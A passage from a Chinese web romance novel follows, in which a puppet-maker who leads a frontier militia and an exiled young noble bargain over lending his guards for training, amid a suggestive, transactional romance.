明杳似乎还沉浸在那个情不自禁的吻带来的余韵,反应慢了半拍:“……什么事?”
邵琉光:“想请公子的侍卫,在闲暇时,操练一下我们西岭城的那些兄弟。他们大多生于斯长于斯,从未离开过西岭,见识和训练都远不及你们外乡来的人精悍。强敌环伺,我们需得自保之力。”
明杳听完,眉头微微蹙起,方才那点迷离温存之色褪去,露出了几分属于权衡利弊的审慎与顾虑:“那批精卫中,有一部分是自幼培养的家养死士。他们所学的搏杀招法,乃至一些隐匿行踪的法门,皆属机密,不便传于外人。”
邵琉光靠近些许,指尖轻车熟路地抚上他背脊,说话时贴着他的耳边,循循善诱:“死士,也是公子你的死士。既然是你的,你便有权命令他们……酌情传授一些不涉核心的,强身健体的寻常法门。”
明杳咬住下唇,试图抵抗身体一波波袭来的酥麻与躁动,理智仍在挣扎:“不行…事涉机密……真的不能外传……”
邵琉光支起身子,居高临下的俯视他。
昏暗中,她放缓了语气,带着平时罕见的温和:“公子放心。我西岭城的兄弟,一个都不会离开西岭。我们学来只为守护家园,绝无外传之心,更不会用于他处。”
明杳的意识在她的攻势下,渐渐有些涣散。他捕捉到她话里的某几个字,下
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意识追问了一句:“你也……不会离开西岭吗?”
邵琉光没有回答这个问题。
她的心神也被他此刻迷离脆弱的情态所牵引,指尖的力道不自觉地加重了些。
“行,还是不行?”她的声音带上了一丝被浸染的暗哑。
明杳闷哼一声,身体颤抖得更厉害,却仍在摇头:“不、不行……”
邵琉光的动作骤然一顿。
她微微撑起身,看着身下双眼紧闭、睫毛剧烈颤抖、额角渗出细汗的明杳,又问了一遍:“当真不行?”
明杳因她突然的撤离而怔了一瞬,身体难受得紧,但他还是凭借着残存的理智,艰难地回复:“嗯…不行。”
邵琉光不再多言,果断抽身撤离,翻身便要下床。
手腕却被猛然拽紧。
明杳撑起半边身子,眼中满是难以置信的震惊:“你……你去哪?你现在……怎么可以走??”
邵琉光回过头,脸上没什么表情,语气理所当然:“既然公子说不行,我自然要听从,停下不该做的事。”
“我……”明杳被她这歪理气得一噎,“我不是说这个不行!”
邵琉光眸光微动,又重新倾身靠近,指尖暧昧地勾缠着他散开的衣带:“那就是……行了?”
明杳快被她逼疯了,咬着牙:“那个!练兵的事……不行!”
邵琉光闻言,再次停下,勾着衣带的手指也收了回来。
明杳实在受不了了,那不上不下的滋味折磨得他几乎发狂。他难堪地喘息着,想要自己解决这尴尬的局面。
邵琉光却眼疾手快地拽住了他的手。
“我怎么能让公子自己辛苦?”她语气平静,伪装体贴,“那会显得我很不称职。”
然而,她嘴上这样说,手上却仅仅只是制止了他的动作,丝毫没有要“履行职责”的意思。
明杳想挣脱,却发现她手劲却大得惊人,五指如同铁钳,牢牢箍着他的手腕。
果然是“手艺人”……
他绝望地意识到,在这种局面的力量对抗上,自己竟完全处于下风。
身体的煎熬和心理的屈辱交织,明杳的声音带上了崩溃的哭腔:“邵姑娘……我真的……你松开……”
“到底,行不行?”
“你这是趁人之危……”他委屈地控诉,眼睛里闪过泪光,“我就算现在应了你,明日也会反悔……”
房内留了几盏灯,邵琉光看得分明,他在哭。
啧。
她像是发现了某些不可张扬的密辛。
那个白日里要风得风要雨得雨的大少爷……
竟然会哭。
哭起来像被雨淋透的小猫一样。
但她面上依旧没什么波动,只是手上的力道,缓缓松开了。
重获自由,明杳却像是失了所有力气,瘫软下去,将脸深深埋进枕头里,肩膀微微耸动。
邵琉光顿了顿,最终还是伸出手,覆了上去。
她盯着他半晌,忽然语气淡淡地感叹一句:“想不到,白公子还挺硬气……”
明杳没有回应,只是微微抽泣着,在她手下颤抖,断断续续地呜咽,再没说什么。
.
东门附近有一片空旷之地。
长啸领着邵琉光巡视这片他新寻到的场地,语气兴奋:“老大,你看这儿如何?原是前朝屯兵的旧校场,荒废多年,但地方够大,地面也平整,容纳上千人操练不成问题!”
邵琉光环顾四周。
场地确实宽阔,远处还有残破的演武台和箭垛,的确是个练兵的好地方。
她点了点头,正欲说什么,脑海中却不由自主地闪过昨夜明杳泪眼朦胧的模样,以及自己那步步紧逼胁迫的手段。
“确实是……”她仿佛后知后觉,低声自语,“趁人之危了。”
“老大,你说什么?”长啸没听清,疑惑地问。
邵琉光回过神来,摇了摇头。
“没什么。既然白府的侍卫不肯教,那我们就自己来。”
“我爹生前留下了一些武学典籍和练兵纪要,虽不似军中专精……先召集可靠人手,照着练起来。”
“西岭的安宁,终要靠西岭人自己来守。”
10.疯了
邵琉光为了筹建整训西岭军,几乎将所有心力都扑在了东门外的校场上。万事开头难,桩桩件件都需她亲自过问定夺。
梨园的戏自然停了,白府更是好几日未曾踏足。
不回去,一来确是军务繁忙,千头万绪,时间总是不够用。二来……那夜之后,她心中总梗着一丝说不清道不明的情绪。
面对明杳那张脸,那双时而灼热时而委屈的眼睛,还有那些荒唐的交易,她……她只想逃避。
便索性借着军务,连西岭城都不回去。
书梁来校场外递了几次话,询问她何时回城,都被邵琉光以“事务繁忙,归期不定”为由挡了回去。
连日来的骚乱与外敌渗透,让这座昔日安宁的小城蒙上了阴影。
流民聚集在墙角巷尾,一个个面如菜色。城边堆着来不及收殓的尸首,被匆匆赶到的西岭军新兵默默收敛。
马车停在街巷边。
书梁放下车帘,低声道:“少爷,外头的情形……看来真有不止一股势力摸到了进来的路子。他们这是铁了心,要一点点啃下西岭这块硬骨头啊。”
明杳透过车窗缝隙,看向城中那些装备简陋的西岭军身上。
他看了许久,才收回视线:“这就是她这些日子忙的事?”
“是,”书梁点头,“邵姑娘那边传话,说这几日都抽不开身回城。”
明杳脸色倏地冷了下来,嘴角抿成一条直线,声音硬邦邦地砸出来:“那就告诉她,再也别回了!顺道,把我的人给我放回来!”
.
西岭城外,通往东校场的路上。
.
马车刚驶出城不久,车轴被坎坷不平的石头路磕裂,被迫停下。
前不着村后不着店,离那偏远的校场还有一段不短的距离。
明杳本就憋着一股无名火,见此情形更是恼火,一把推开车门跳了下去。
“走!”他甩下一句,竟是要徒步前往。
书梁连忙跟上,一边小跑一边试图劝阻:“少爷,真要去啊?您方才不是说……让邵姑娘再也别回,还要召回侍卫么?”
明杳脚步不停,冷哼道:“本少爷改主意了!我要去另寻新欢,今日便要与她一拍两散,断个干净!”
书梁听了,眼睛一亮,双手赞同:“少爷,您可算想通了!我就说嘛,邵姑娘那性子,烈得跟雪山上的鹰似的,您这金尊玉贵的,哪里吃得消?再说,幸亏这不是在华京,若是在京城,您跟一位清清白白的姑娘家这般牵扯不清,传扬出去,御史的折子怕是要把老爷的书房淹了!还好这儿天高皇帝远,民风淳朴……”
“你懂什么。”明杳打断他,“男未婚,女未嫁,你情我愿的事。她若真不乐意,我能逼她就范?你看她像是能逼着就范的人?”
书梁被他噎住,仔细一想,讷讷道:“那倒也是……啊,这么说,邵姑娘对您……未必没有几分情义?”他小心观察着明杳的神色。
明杳脚步顿了一下,随即更用力地踢开路边的野草,没有回答。
书梁没等到回应,追上去压低声音问:“少爷,您该不会……真对邵姑娘上了心,想带她回华京吧?”
明杳依旧沉默,只是唇线绷得更紧。
书梁想起近日收到的密信,低声道:“老爷那边来信说,京中的事已有眉目了。若是进展顺利,您不日便可启程回京。”
明杳停下脚步,盯着远处校场隐约的轮廓,半晌,才从牙缝里挤出一句:“那最好。这破地方,谁爱待谁待!”说罢,头也不回地大步向前。
校场内,最大的那座牛皮帐篷里。
邵琉光正伏案核算着筹建西岭军的各项开销,账本堆了半张桌子。
忽然,帐外传来急促的脚步声,一名新兵打扮的年轻人掀帘而入。
“报——邵司领!校场外围巡逻队发现两个形迹可疑之人,鬼鬼祟祟,似在窥探我军营地!”
邵琉光笔下未停:“长什么模样?”
“两人皆作外乡富家打扮,一主一仆模样。那年少的主子,生得……生得极为好看,衣着华贵,不似寻常百姓。”年轻士兵回忆着。
邵琉光执笔的手顿住了顿。
华贵,好看,形迹可疑,鬼鬼祟祟……她心中有数了。
她放下笔,合上账本,语气平静:“抓了。”
“是!”
.
校场边缘。
书梁看着不远处的营地,又看看自家少爷阴沉着脸、站在原地不动的样子,实在忍不住疑惑:“少爷,咱们……不直接进去通报求见吗?”
这鬼鬼祟祟躲在林子边算怎么回事?
明杳抱臂靠在树干上,眼睛盯着营地方向,语气硬邦邦的:“她都没想着回来寻我,我为何要主动去寻她?!”
书梁:“……那您不是说来和邵姑娘一刀两断?”
明杳别开脸,声音闷闷的:“我改主意了。她越是避着我,我越是要碍她的眼。凭什么只让我一个人不痛快?”
书梁哑然,正想问“那您准备怎么碍眼”,话还没出口,只听一阵急促的脚步声,七八个手持木棍的西岭军新兵从四周冲出,瞬间将他们二人围在了中间。
主仆二人被“请”进军营,一前一后押到了大帐外。
“报邵司领!人抓到了!”
帐内,邵琉光正站在一幅西岭地形图前,闻言头也没回,只丢下一句:“拖下去,仔细审问,看看是不是新混进来的奸细。”
“是我!”明杳被两个新兵反扭着胳膊,闻言气得提高声音。
邵琉光缓缓转过身,目光平静地落在他略显狼狈的脸上,点了点头:“我知道是你。”
她走到他面前,微微仰头看他,语气公事公办,“但鬼鬼祟祟靠近西岭军重地,便是白公子你,也需按规矩接受盘查。带下去。”
“你!”明杳没想到她真敢,一时气结,考虑到眼下形势比人强,他只得强压下心头火气,憋屈地辩解,“……我真不是细作,我有正经事。”
邵琉光欣赏够了他这副吃瘪又不得不忍着的模样,这才抬了抬手,示意士兵松开他们。
“说吧,”她走回案后坐下,“你来做什么?”
明杳揉了揉被捏疼的手腕,没好气地瞪她一眼,却在撞上她目光时,被她眼中那点未散的笑意晃了一下神。
“呃,我来与你做个交易。”
这两个字一出,邵琉光眉头立刻蹙起:“交易什么?”
她面色冷了下来,心里打定主意,不管他提什么条件,也绝不能再答应延长那荒谬的次数。
明杳察觉她的抗拒,心中微涩,面上却不肯露,慢悠悠道:“我可以把能为你练兵的人,给你。”
邵琉光:“……”
这句话,精准地戳中了她的命门。她太需要真正懂行、有经验的人来调教这支仓促成军的队伍了。
……罢了。
无非是……
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罢了、罢了——
她沉默了片刻,终是开口:“你想要什么?”
“我没想好。你先欠着。”
先欠着?这比明确的代价更危险,意味着一个随时可能被提起的未知要求。
可……
想到帐外那些正在烈日下操练的新兵,想到对西岭城虎视眈眈的敌人……她闭了闭眼。
再糟糕,也不过就是那样了。
与西岭的存亡相比,她个人的那些不堪与屈辱,似乎都可以暂且压下。
“好。”她睁开眼,点了头。
.
明杳虽答应借人,却故意设了道坎。
所有的侍卫们蒙了面,换上统一的灰布短打,在校场空地上站成一排,任由邵琉光挑选。
只给四人,选中谁,全凭她眼力运气。
而他本人,则抱臂坐在校场边唯一的凉棚阴影下,一副看戏的姿态。
能助她之人就在这排蒙面人中间。
邵琉光缓缓踱步,目光扫过每个人的站姿、呼吸节奏和肩背线条……
她指间,不知何时已捻着数根透明丝线。
丝线弹出,分别缠上了其中几人的手腕脚踝。
随着她指尖微动,丝线轻颤,那几人便不由自主地随着她丝线的牵引,做出了或格挡、或突进、或闪避的动作。
她在试探他们的筋骨强度,反应速度以及对身体的控制力。
这是操控傀儡的法子,用来品鉴活人,虽有些冒犯,却实在高效。
校场边的凉棚下。
书梁一边为明杳摇扇子,一边望着那头惊叹:“想不到邵姑娘竟有这本事,少爷,咱们的人怕是保不住了……”
明杳沉着脸没说话。
几番试探后,邵琉光点出了四人。
明杳看着那四人出列,摘下蒙面巾,其中竟有他颇为倚重的两名近卫,身手在众人里属佼佼者。
他嘴角抽动了一下,终究没说什么,只挥手示意那四人从此听命于邵司领。
事情办妥,明杳也寻不到别的理由再呆下去,只好离开。
邵琉光亲自送他出校场,语气诚挚道:“多谢白公子慷慨相助。”
明杳心里有些空落落的,只闷闷地“嗯”了一声,没接话,转身就要走。
邵琉光也准备折返。
“欸!”明杳还是没忍住,回头叫住了她。
邵琉光驻足,回身望来。
明杳对上她平静的目光,心头一阵懊恼,气自己没骨气。可人都叫住了,他只能硬着头皮,状似随意地问:“你…什么时候回城?”问完,立刻别开眼,盯着地上的尘土。
邵琉光看着他。
少年人强作镇定,却掩不住眼底那点小心翼翼的期待,像怕被拒绝,又像藏着委屈。
她沉默片刻,心里还没想明白,话已出了口:“明天吧。”
明杳闻言,脸色以肉眼可见的速度缓和下来,眼底那点黯淡重新亮起微光。
但他还是努力维持着平淡的模样,只轻轻“嗯”了一声,转过身,低声道:“…我走了。”
邵琉光站在原地,看着他主仆二人渐渐远去的背影,直到消失在林道尽头。
一阵风过,扬起校场上的尘土。
她后知后觉地想起自己方才脱口而出的话,忍不住抬手扶额,仰头望了望天。
疯了。
原本,她压根没打算近期回城。
11.礼物
回城路上。
“少爷……”书梁跟在脚步明显轻快了几分的明杳身后,忍不住开口。
“嗯?”
“有句话不知当讲不当讲……”
“既不知当不当讲,那就不要讲。”
书梁缓了缓:“我还是讲吧。”
他几步跟上明杳,开口道:“少爷,西岭城的存亡,说到底……与我们这些过客何干?京中那边的人始终未曾放弃搜寻您的踪迹,眼下邵姑娘又将您身边最得力的几个好手都调了去,万一……我是说万一,若有变故,您的安危……”
明杳脚步未停,目光掠过远方景色和远处屋顶升起的袅袅炊烟。
他也问自己,西岭城的存亡与他这个过客何干?
或许,是这个地方太过纯粹了。
没有华京无处不在的尔虞我诈,没有那些藏在华丽袍服下的冰冷算计。
这里的挣扎与守护,都带着一种不计回报的直白。
尽管只在此地住了短短数月,可这偏远的西岭……竟比那座他生长了二十年的锦绣帝都,更让他感到亲切。
他开口,打断书梁的忧思,语气听起来颇为理智:“她若能真训练出一支纪律严明的军队,肃清外患,稳固城防,不也等于帮我们防住了那些想混进来取我性命的人?互利之事,何乐不为。”
书梁张了张嘴。
少爷这话……倒也没错,只是这理由,听着总有些刻意。
但他最终还是没有多言,只默默跟上明杳的步伐。
回到白府,明杳路过库房时,脚步顿了顿。
他想起那支早已备下的羊脂白玉梅花簪,本想在上次自己生辰时送出,结果,一句“脏”,如同冰水浇头,让他连拿出来的勇气都瞬间溃散。
那簪子便被锁进了库房深处。
此刻,这个念头,又悄然冒了出来。
他推开库房门,里面堆着些从京中带来的,但在此地多半用不上的物件,蒙着薄尘。
“那支簪子,”他一边往里走,一边问跟在身后的书梁,“你放哪儿了?”
书梁连忙四下查看,很快在一个紫檀木小抽屉里找到了一只锦盒,双手捧上:“少爷,在这儿。”
明杳接过,打开盒盖。
温润剔透的白玉梅花在略显昏暗的光线下依然流转着光华,中间一点红宝,艳而不俗。他指尖轻轻拂过花瓣,心头那点莫名的躁动似乎平静了些许。
就在他准备合上盖子时,余光忽然瞥见旁边一个置物架的顶端,放着一只精致华丽的螺钿漆盒,样式花纹像是京中最时兴的款式,与库房中其他古朴的物件格格不入。
他眉头微蹙,抬手指了指:“那是什么?”
书梁顺着他指的方向看去,脸色变了变:“那个…是您生辰前,随同老爷的信和礼物一道送来的……是……花姨娘特意为您备下的生辰礼。”
“花姨娘”三字一出,库房内的空气骤然凝结。
明杳脸上的柔和瞬间褪得干干净净。
母亲当年缠绵病榻,郁郁而终的情景,父亲那时却流连在外室花知瑶处的传言,以及母亲临终前枯槁的手和望着门口的眼……所有被他压在记忆深处的画面,伴着这个名字汹涌翻腾。
花知瑶。
那个外表看似柔弱的女人,在他母亲尸骨未寒时,便迫不及待想登堂入室。因他极力反对和家族压力,至今才仍只是个姨娘。可父亲,对待这个外室上位的姨娘,却像是捧在心尖尖上的蜜糖。
她的礼物?不过是想炫耀她如今的地位罢了。
“还放在这里做什么?”明杳的声音冷得像结了冰,“扔了。”
他说完,攥紧手中的簪盒,转身就走。走到库房门口,脚步却又是一顿。
他背对着书梁,沉默了几秒,再开口时,语气依旧冰冷,却换了吩咐:“…捐了。西岭城不是正缺钱粮物资么?折价换成实用的,送去该去的地方。”
书梁了然,立刻躬身:“是,少爷,我这就去办。”
明杳没再回应,径直离去,
.
次日,傍晚时分,天边尚有余晖。
明杳沐浴更衣,换了身舒适的浅青色袍子,早早便坐在房中临窗的软榻上,手里拿着一卷书,目光却频频飘向窗外通往院门的小径。
书梁说,她回来了。
又吞吞吐吐地补充:手里还……带了些东西。
明杳心中那点因昨日提起花姨娘而带来的阴郁,被隐隐的期待冲淡了些。
想必是收到了他让书梁捐过去的心意,这是……礼尚往来?
他嘴角不自觉地弯起一点弧度。
这个木头疙瘩,终于也晓得给他送礼物了?莫非开了一丝窍?
想到这,他心头微软,甚至生出些雀跃来。
脚步声由远及近,停在了房门外。
接着,门被推开,邵琉光走了进来。
明杳立刻放下书卷,抬眼望去,准备迎接她或许会有些别别扭扭的谢礼。
然而,他左看看右看看,只见邵琉光怀里抱着厚厚一摞账册、公文和地图卷轴。
见他等在门内,邵琉光略一点头,语气如常地打了声招呼:“白公子。”
然后,她抱着那堆东西,径自绕过他,走向房内的书案,一边将怀中的物事放下,一边头也不回地问:“可否借一下你的书案?营中嘈杂,有些紧要的核算和布防图需静心修订。”
明杳愣在原地,看着那几乎占满他书案的“礼物”:“你这是……”
邵琉光当他已是默许,自顾自地铺开一张地图,又将几本最重要的账册摆在手边,拿起一支笔,蘸了墨,这才抬眼看他。
灯火映得她眸子清亮。
她的语气,难得地带上了一丝近似商量的温和:“近日事务琐碎,可能还得要耽误一个时辰。你先……去榻上歇着等我,好吗?”
去榻上……等我?
这几个字钻进明杳耳中,像是一把小钩子,轻轻挠了一下。
方才那点刚升起的气闷,瞬间被这句话抚平了大半。
他瞥了一眼那堆显然一
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时半刻处理不完的文书,终究是没说出反对的话。只从鼻间轻轻“嗯”了一声,算是回应。
然后,他走向床榻,脱下外袍,只着素白寝衣,半倚在床头。
“那你快些。”他低声道。
邵琉光点了点头,目光落回地图上的某处标记,执笔勾画起来。
一室之内,灯火静静燃烧。
明杳起初还有些不自在,随手又拿起方才那卷书,却是一个字也看不进去。
他的视线,不由自主地,便胶着在了邵琉光身上。
灯火橙黄,柔和地勾勒着她的轮廓。
她今日未着劲装,只穿了件半旧的靛青色细布衣裙,长发利落地束在脑后,但因低头书写,鬓角垂落了几缕柔软的发丝,随着动作轻轻晃动,在她颊边投下淡淡的阴影。
褪去平日那层冷硬警惕的外壳,此刻专注于案牍之间的邵琉光,竟显出一种他从未见过的沉静。
不是娇媚,不是艳丽,而是一种如深潭静水、如山间韧竹般的内敛坚韧。
看着看着,明杳的目光又不由自主地滑向她执笔的手。
那双手,此刻正稳稳地握着笔杆,指节匀长,在灯光下泛着玉石般的光泽。时而快速书写,行云流水;时而停顿思索,指尖在地图上轻轻点划……
就是这双手。
既能雕刻出栩栩如生的傀儡,能操控千变万化的丝线,也能……在他身上点燃灭顶的火焰,带来极致的欢愉与崩溃。
一想到这样一双手,今夜或许又会……
明杳只觉心跳失序,呼吸也跟着乱了一拍。
他咬住下唇,强迫自己移开视线,转向床内侧的纱帐,胸口微微起伏,好半晌,才将那阵突如其来的悸动缓缓压了下去。
……
一个时辰,在不知不觉中流逝。
窗外,最后一丝天光也隐没了。
夜色浓稠如墨,虫鸣声透过窗纱,隐隐作响。
直到烛火噼啪爆了个灯花,邵琉光才终于放下笔,揉了揉酸胀的脖颈和肩膀,长长舒了一口气。
账目总算理清,几处紧要的布防调整也有了眉目,紧绷的神经松懈下来,疲惫感这才清晰地涌上。
她活动了一下手腕,转头,看向床榻的方向。
方才还隐约能听到辗转反侧的声响,此刻,那边已是一片寂静。
她顿了顿,放下揉肩的手,轻手轻脚走了过去。
明杳侧身蜷卧着,面朝着她的方向,已睡熟了。
素白寝衣衬得他肤色如玉,散开的墨发铺在枕畔,长睫安然垂下,在眼睑处投下一小片乖巧的阴影。
邵琉光在榻边停下,静静看了他一会儿。
少顷,她弯下腰,动作轻缓地伸手探向床榻内侧,拉出折叠好的锦被,轻轻展开,覆在他身上。
做完这些,她又站在原地,看了片刻他脸上跳跃的灯火。
然后,她悄然转身,吹熄了多余的烛火,轻手轻脚地走到门边。
咔哒一声轻响。
房门轻轻合上。
12.卖艺不卖身
晨时,书梁领着几个仆役,提着热水,轻手轻脚地来到明杳房门前。
还未叩门,房门从里面被拉开了。
明杳披着一件外袍站在门口,脸色沉沉的,眼底带着些未散的倦意和显而易见的不悦。
他目光扫过书梁身后,却没见到想见的身影。
“她人呢?”
书梁躬身:“少爷,邵姑娘昨夜……歇在东边的厢房。这会儿……应该已经起身了吧?要不,我这就去请……”
“不必了。”明杳语气硬邦邦的打断他,转身回了房内。
书梁示意仆役将水提进去倒进屏风后的浴桶,自己也跟了上去,觑着明杳的脸色,小心道:“少爷,您手上的伤虽好了大半,但还得仔细些,我来服侍您……”
明杳没应声,只是沉默地解开衣袍系带,衣物褪下,他赤足踏入水中,将自己沉入氤氲的热气里。
他抬起手,看向手背。
那道被刻刀划破的伤口,如今只留下一条极淡的浅粉色细痕。她给的雪魄兰药膏,确实有奇效。
可这痕迹淡了,心头那份说不清道不明的烦躁,却好像更清晰了。
昨夜……他空等一场,难免怄火。
可转念一想,这场荒唐的关系,本就是他一手强求来的。她那样冷硬的性子,怎么可能主动贴上来?怕是巴不得离他越远越好。
这么一想,那点火气又化作了自嘲的涩意,闷闷地堵在胸口。
就在这时,一只微凉的手,轻轻抚上了他裸露在水面外的肩膀。
肌肤相触的瞬间,明杳身体一颤。
那指尖薄茧的触感……绝不是书梁。他呼吸骤然加重。
紧接着,邵琉光的声音幽幽在他耳后响起。
“昨日让公子白等了一夜,是我不该。我来服侍公子沐浴,权当赔罪。”
明杳喉结滚动了一下,半晌,他才开口:“你是诚心想赔罪?”
“嗯。”邵琉光应了一声。
明杳倏然反手,一把攥住了她抚在自己肩头的那只手腕,猛地发力,将站在浴桶边的人狠狠往自己这边一拉。
邵琉光猝不及防,整个人被拽得向前扑倒,她另一只手险之又险地撑住了光滑的浴桶边缘,才勉强稳住身形,没有直接跌进水中。
水花溅湿了她的前襟和袖口,带来一片温热的濡湿。
明杳这才转过身,湿漉漉的黑发贴在额角,水珠顺着他棱角分明的下颌滴落。
他看着近在咫尺微微睁大眼的邵琉光,唇边缓缓勾起一点带着丝邪气的笑。
“既然诚心赔罪,那就让我看到你的诚意。”他仰头逼近她,一字一顿,“贴、身、服、侍。”
他顿了顿:“邵姑娘懂什么是贴身服侍吗?”
邵琉光撑在桶沿的手指微微收紧,歪头避开他过于直接的目光,声音努力维持着平静:“……你先好好洗。”
“我昨日就洗好了。”
明杳寸步不让,一边说着,一只手顺着她撑在桶边的手臂,缓缓抚上她的肩膀,指尖划过她纤细的脖颈,最终轻轻捧住了她的脸颊。
他掌心滚烫,眼神专注地在她脸上细细逡巡。
从微蹙的眉,到清冷的眼,最后,定格在那两片微微抿起的,淡粉色的唇瓣上。
他缓缓凑近,温热气息交融,鼻尖几乎相触,四片唇瓣之间的距离,以肉眼可见的速度缩短……
就在那一瞬间,邵琉光猛地回过神来,她像是被烫到一般,用尽全力,一把推开了明杳凑近的脸和身体。
明杳被她推得向后仰倒,撞在浴桶壁上,发出“咚”的一声闷响,溅起一片更大的水花。
邵琉光自己也踉跄后退了两步,胸口起伏,攥紧了拳头,强自镇定地,从齿缝里挤出几个字:“白公子,我卖艺……不卖身。”
明杳被她推得有些懵,靠在桶壁上,迷茫地眨了眨眼。
听到这句话,先是怔住,随即,他笑了起来。
那笑声起初很轻,然后越来越大,越来越畅快,最后几乎笑得整个浴桶的水面都在颤动。
.
“……那你就,卖艺吧。”
明杳斜倚在宽大的床榻上,朝站在床边的邵琉光,颐指气使地伸了下手。
“……”
邵琉光看了看窗外明晃晃的日头,试图做最后的挣扎:“白公子,青天白日,朗朗乾坤……恐有不妥。”
明杳歪了歪头,神情纯良又无辜:“你卖艺……还分白天黑夜吗?梨园唱戏,难道只在晚上开锣?”
邵琉光被他这话堵得一噎,顿时哑口无言。
交易是她应下的,规矩是他定的,此刻他占着理。
她抿紧了唇,不再多说,转身走向墙角,打开箱子,开始准备“卖艺”所需的工具。
不多时,她折返回来,手中拿着挑选好的物件,脸上没什么表情,眼神却比平日更沉,像是覆了一层寒霜。
明杳好整以暇地看着她。
见她站定,他便自行向床榻里侧挪了挪,上半身慵懒地倚靠着床头堆叠的锦枕。一条腿随意地屈起,膝盖顶起了一片寝衣下摆,因着屈膝的动作,本就宽松的寝衣领口微敞,下摆也撩开了些,露出一截白皙劲瘦的小腿和里面若隐若现的风光。
此刻青天白日,室内光线充足,几乎称得上一览无余。
邵琉光的目光触及到那片不该看的领域,立刻像是被火燎到一般迅速移开。
她暗暗咬紧了牙关,深呼吸一口气,动作僵硬地单膝半跪上榻。
身体前倾的瞬间,衣袖无意中勾到了床柱边垂落的纱幔系带。
一声轻响,那层原本束起的深紫色轻纱床帐,倏然散落下来,如同帷幕般,将他们与外界隔开。
帐内光线顿时为之一暗,却并非全黑。
阳光透过薄纱,滤成了朦朦胧胧的浅紫色调,柔和地笼罩着榻上的两人。
朦胧光影下,明杳本就出色的容貌更添了几分迷离的魅惑。散落的黑发,微敞的衣襟,屈起的膝,以及那双在暗处正一瞬不瞬望着她的眼睛……
邵琉光呼吸滞了滞,随即抿紧了唇,强迫自己移开视线,专注于手中的物件。
明杳看着她那一脸仿佛要上刑场般的就义表情,沉沉地问:“我是什么洪水猛兽吗?让你这般害怕。”
洪水猛兽也没你可怕难缠。
邵琉光不语。
明杳又道,语气带上了一丝委屈:“你能不能……别总是板着个脸?既然这般勉强,心里不情愿,又何必逼着自己回来?”这话问出来,他自己心头也微微一刺。
邵琉光依旧不语。
少顷,她处理好内心的纠结与混乱,深吸一口气,俯身压向明杳。
她一只手顺势滑入他屈起的腿弯之下,微微用力向上一捞。另一只手则撑在他身侧的床褥上,上半身虚虚地压覆下来,头颅伏低,靠在了他的肩窝处。
这是一个,恰好将她自己的表情藏匿于阴影,却将他的反应完全暴露的姿势。
然后,她不再给他开口说话的机会,指尖轻车熟路地开始了动作。
明杳所有到了嘴边的话,都被这突如其来触碰彻底地堵了回去。
他闷哼一声,身体瞬间绷紧,然后不受控制地松弛下来,沉入那熟悉的浪潮之中。
…
末了。
邵琉光疲惫地躺回靠近床沿的位置,闭着眼,平复着急促的心跳和呼吸。
身侧传来细微的窸窣声。
随后,一片温热的体温缓缓贴了上来。
明杳轻轻握住了她的掌心。
他手指温柔地揉捏着她酸软的指节和手腕,声音也轻轻的,却像带着小钩子,挠在人心尖上。
“手……酸了吧?”
邵琉光没有回答。
明杳似乎也不在意她的沉默。他伸手从自己枕下摸索了片刻,抽出了一张图纸。
“你看看这个,”他开口,“能…照着这个样子,做出来吗?”
邵琉光睁开眼,侧头瞥去。
纸上用精细的墨线勾勒着一件……她从未见过的物事。结构有些复杂,似弓非弓,又带着些束腰或护甲般的部件组合,图纸似乎不全,这只是半截。
她蹙眉仔细看了半晌,没太看明白用途:“这是什么兵器?”
明杳含糊地“嗯”了一声:“你照着做便是,过两日……我再将剩下的图纸画给你。”
邵琉光心想,也罢。
不过是依图制作一件器物,这倒是她
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擅长的手艺活,比应付眼前这人要简单直白得多。
她没再多问,伸手接过那张图纸,仔细折好,收进了自己怀中。
两人又静静躺了片刻。
邵琉光估算着时辰,再次开口:“我还有事,今日得走了。”
“你等一下。”明杳松开环住她的手,起身下榻。
他拿起一只锦盒,转身走回床边,邵琉光已站起了身。
“上次见你头上的发簪裂了道缝。我闲着无事,就自己画了支样子,差人打了出来。”
邵琉光看着那只锦盒,没有立刻伸手去接。
明杳便自顾自地打开了盒盖。
盒内红绒衬底上,躺着一支羊脂白玉雕琢的梅花簪,算不上当下时兴的款式,没那么张扬高调,却恰恰是邵琉光会喜爱的那种简约大气的样式。
“我给你戴上吧。”明杳说着,伸手便要去取她头上那根已有了裂纹的旧木簪。
邵琉光却在他指尖靠近时,猛地偏头一躲。
明杳的手指僵在半空,脸上的神色也淡了下去。他看着她避开的侧脸,扯了扯嘴角:“……不喜欢吗?”
邵琉光不语,只是垂着眼睫。
明杳默然片刻,又低声问:“还是……嫌脏?”
邵琉光呼吸顿滞,却不想辩解什么。最终,捏了捏指尖,什么也没说,只是慢慢地,将头转了回来。
明杳看着她这副认命般的样子,心头说不出是释然还是更涩。
他没再追问,只是重新伸出手,取下了她发间那根旧木簪,然后拿起白玉梅花簪,缓缓插入她发间,固定好。
做完这一切,他退后一步,端详着。玉簪在她乌黑的发间,果然相得益彰,清冷中透出一点难得的妍丽。
他看着她依旧没什么表情的侧脸,微微勾起唇角,慢慢开口:“寒梅果然衬你的……”
他一字一顿补充道,却不是什么夸赞的好话。
“冰、山、脸。”
.
午后,邵琉光回到东门外校场。
校场上尘土飞扬,操练呼喝之声不绝于耳。
长啸正好从营帐中出来,见到她,立刻迎了上来,脸上带着几分振奋:“老大,我正好有事禀报你!”
“什么事?”
“是关于城防和联名的事。”长啸语气却难掩激动,“公孙氏那边有回音了,公孙家主松了口,愿意助我们一臂之力,共同护卫西岭!”
公孙,是早年避祸隐居于此的没落贵族,虽不复先祖荣光,但底蕴犹存,在西岭城内影响深远。
现任家主是位极有主见的女子,公孙凌云。
邵琉光前些日子曾亲自登门拜访,恳请公孙家看在同属西岭一脉的份上,出人出力,共御外敌。当时公孙凌云并未立刻答应,只说需与族人商议。
“看来,她是考虑清楚了。”邵琉光眼中也闪过一丝光亮。
若得公孙家支持,无论是在人手物资还是声望上,对西岭军都是极大的助力。
“是啊!”长啸搓着手,信心倍增,“有了公孙家加入,咱们的胜算又多了几成!定能更快地把城里那些阴沟里的老鼠揪出来,清理干净!”
邵琉光点了点头,脸上也难得地露出一丝欣慰。
长啸看着她脸色稍霁,心中也高兴,正想再说说具体的合作细节,目光不经意间扫过她的发髻,忽然“咦”了一声。
“老大,您换簪子了?”他注意到那支在阳光下莹润生辉的白玉梅花簪,发间一点红玉甚是醒目,“这新簪子……真好看!衬您!”
他本是无心赞叹,邵琉光却像是被这句话猛然刺了一下,她几乎是立刻抬手,将发簪从发间抽了出来。
“校场奔波,尘土大,”她将簪子攥在手心,“戴这个还是不太方便。”
